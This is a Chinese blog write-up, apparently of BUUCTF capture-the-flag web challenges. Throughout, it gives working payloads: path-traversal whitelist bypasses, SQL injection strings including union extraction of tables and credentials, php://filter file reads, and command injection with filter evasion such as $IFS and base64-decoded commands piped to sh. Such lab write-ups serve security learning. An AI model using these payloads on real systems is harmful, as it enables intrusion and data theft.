BUUCTF做题记录(1)

[HCTF 2018]WarmUp

打开网址是一张滑稽,没什么用,看一下源码,发现有注释。
在这里插入图片描述
访问source.php,直接给了源码,进行代码审计。
分两块,第一块是emmm::checkFile,里面做了一些判断。
第二块是一个include,文件包含,我们要绕过验证,也就是上面的checkFile方法。

测试hint.php
在这里插入图片描述
include触发的三个判断条件全为真时,include才执行。
checkFile为真
第一个if,page需要设置并且为字符串
第二个if,page需要在白名单中
_page是page从开始到?的位置截取的一段子串
第三个if,_page需要在白名单中
_page进行url解码
_page再进行相同截取
第四个if,_page需要在白名单中

现在假设payload为:?file=source.php?/…/ffffllllaaaagggg,经过mb_strpos为source.php?/…/ffffllllaaaagggg?,mb_strpos这个函数只返回首次出现的位置,所以会返回第一个?的位置,而mb_substr截取函数,从0开始截取一直到第一个?的位置,截取内容为source.php,恰好能与白名单中的进行匹配,可以return true;,所以通过第一次截取进行绕过
r执行payload:/?file=source.php?/…/ffffllllaaaagggg,发现没有显示flag,应该是不在这个目录,然后就不断加…/最后得到flag,payload为:/?file=source.php?/…/…/…/…/ffffllllaaaagggg

[强网杯 2019]随便注


之前的wp

[极客大挑战 2019]EasySQL

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
有闭合错误,所以尝试一下注入,万能密码输入’or 1

[极客大挑战 2019]Havefun

查看源码发现
在这里插入图片描述
然后在输入框中添加/?cat

[SUCTF 2019]EasySQL

随便试了一下,没闭合注入,我们使用堆叠注入吧
1;show databases;
在这里插入图片描述
再尝试输入1;show tables;
在这里插入图片描述
再尝试输入1;show columns;
在这里插入图片描述
发现不行;
百度到两种payload:1;set sql_mode=PIPES_AS_CONCAT;select 1 和*,1 (这个是没有过滤*)
原理是:select $_GET[‘query’] || flag from flag

[ACTF2020 新生赛]Include

在这里插入图片描述
使用 “php://filter"伪协议” 来进行包含,然后构造payload:?file=php://filter/read=convert.base64-encode/resource=flag.php

当它与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,阻止其不执行。从而导致任意文件读取。
这里需要注意的是使用php

[极客大挑战 2019]Secret File

查看源码 点击Archive_room.php
在这里插入图片描述
在这里插入图片描述
有一个action.php,然后点击就到end.php
在这里插入图片描述
什么也没有 只好抓包了
在这里插入图片描述
访问secr3t.php
在这里插入图片描述
看了一下代码这个需要用文件包含,同上一道题使用伪协议
payload为:secr3t.php?file

[极客大挑战 2019]LoveSQL

用万能密码登录进去
在这里插入图片描述
进入,这个感觉像是一个编码,但是不是,后来发现是考察SQL注入
查询字段数:%23是#

/check.php?username=admin' order by 3%23&password=1

在这里插入图片描述
当字段数为3时,页面回显正常,使用union查询回显点位:

?username=1' union select 1,2,3%23&password=1

在这里插入图片描述
爆数据库

?username=1' union select 1,database(),3%23&password=1

在这里插入图片描述
爆表名

?username=1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database()%23&password=1

在这里插入图片描述
爆字段

?username=1' union select 1,database(),group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'%23&password=1

在这里插入图片描述

?username=1' union select 1,database(),group_concat(id,username,password) from l0ve1ysq1%23&password=1

在这里插入图片描述

[GXYCTF2019]Ping Ping Ping

在这里插入图片描述
首先ping本地(127.0.0.1)
在这里插入图片描述
用管道符或者分号
我们首先来尝试管道符

?ip=127.0.0.1||ls 

在这里插入图片描述
可以看到回显有两个文件,flag.php和index.php,显然我们是需要查看flag.php里面的内容,用linux里面的命令cat

?ip=127.0.0.1||cat flag.php

在这里插入图片描述
提示说空格问题,那么我们先绕过空格,方法是替换为其他可以代表空格的字符,例如 ${IFS}

?ip=127.0.0.1||cat${
    
    IFS}flag.php

在这里插入图片描述
1fxck你的符号!
提示说{}问题,那换一个

?ip=127.0.0.1||cat$IFS$1flag.php

在这里插入图片描述
flag被过滤了,我们尝试去看index.php

?ip=127.0.0.1|cat$IFS$1index.php

在这里插入图片描述
法一:拼接绕过

/?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php

法二:可以利用base64绕过
将cat flag.php base64编码Y2F0IGZsYWcucGhw

?ip=127.0.0.1||`echo$IFS$1Y2F0IGZsYWcucGhw$IFS$1|$IFS$1base64$IFS$1-d`

法三:在bash被过滤的情况下可以尝试sh

?ip=127.0.0.1|echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

[ACTF2020 新生赛]Exec

还是先和上面一样,稍有不同是这道题目使用了POST传参
ping一下127.0.0.1,可以然后执行127.0.0.1;cat /flag;
vv

[极客大挑战 2019]Knife

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在根目录找到flag

2018]easy_tornado

WP
在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/qq_51558360/article/details/113782704
今日推荐